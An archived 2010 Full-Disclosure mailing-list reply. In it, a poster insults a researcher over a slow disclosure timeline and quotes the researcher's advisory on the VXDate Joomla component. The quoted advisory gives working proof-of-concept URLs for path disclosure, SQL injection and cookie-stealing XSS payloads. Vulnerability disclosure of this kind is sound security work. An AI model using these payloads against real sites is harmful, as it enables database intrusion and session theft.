full-disclosure - Re: Vulnerabilities in VXDate for Joomla

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Mon, 22 Mar 2010 10:15:36 +1100
From: julian steward <julian.steward09@...il.com>
To: MustLive <mustlive@...security.com.ua>, full-disclosure@...ts.grok.org.uk
Subject: Re: Vulnerabilities in VXDate for Joomla

7 month to inform the dev's, what kind of asshole are you ?

Oh wait, were you hacking some n00bs website, with your shitty dork ?

2010/3/17 MustLive <mustlive@...security.com.ua>

> Hello Full-Disclosure!
>
> I want to warn you about vulnerabilities in component VXDate for Joomla.
>
> -----------------------------
> Advisory: Vulnerabilities in VXDate for Joomla
> -----------------------------
> URL: http://websecurity.com.ua/3849/
> -----------------------------
> Timeline:
>
> 10.05.2009 - found the vulnerabilities.
> 12.01.2010 - announced at my site.
> 18.01.2010 - informed developers.
> 13.03.2010 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Full path disclosure, SQL Injection and Cross-Site Scripting
> vulnerabilities.
>
> Full path disclosure:
>
> http://site/index.php?option=com_vxdate&ct=’
>
> http://site/index.php?option=com_vxdate&ct=1&md=details&id=’
>
> http://site/index.php?option=com_vxdate&ct=1&md=editform&id=’
>
> SQL Injection:
>
>
> http://site/index.php?option=com_vxdate&ct=1&md=details&id=-1%20or%20version()=5
>
>
> http://site/index.php?option=com_vxdate&ct=1&md=editform&id=-1%20or%20version()=5
>
> XSS:
>
>
> http://site/index.php?option=com_vxdate&ct=1&md=details&id=%3Cscript%3Ealert(document.cookie)%3C/script%3E
>
>
> http://site/index.php?option=com_vxdate&ct=1&md=editform&id=%3Cscript%3Ealert(document.cookie)%3C/script%3E
>
> Vulnerable are potentially all versions of VXDate.
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/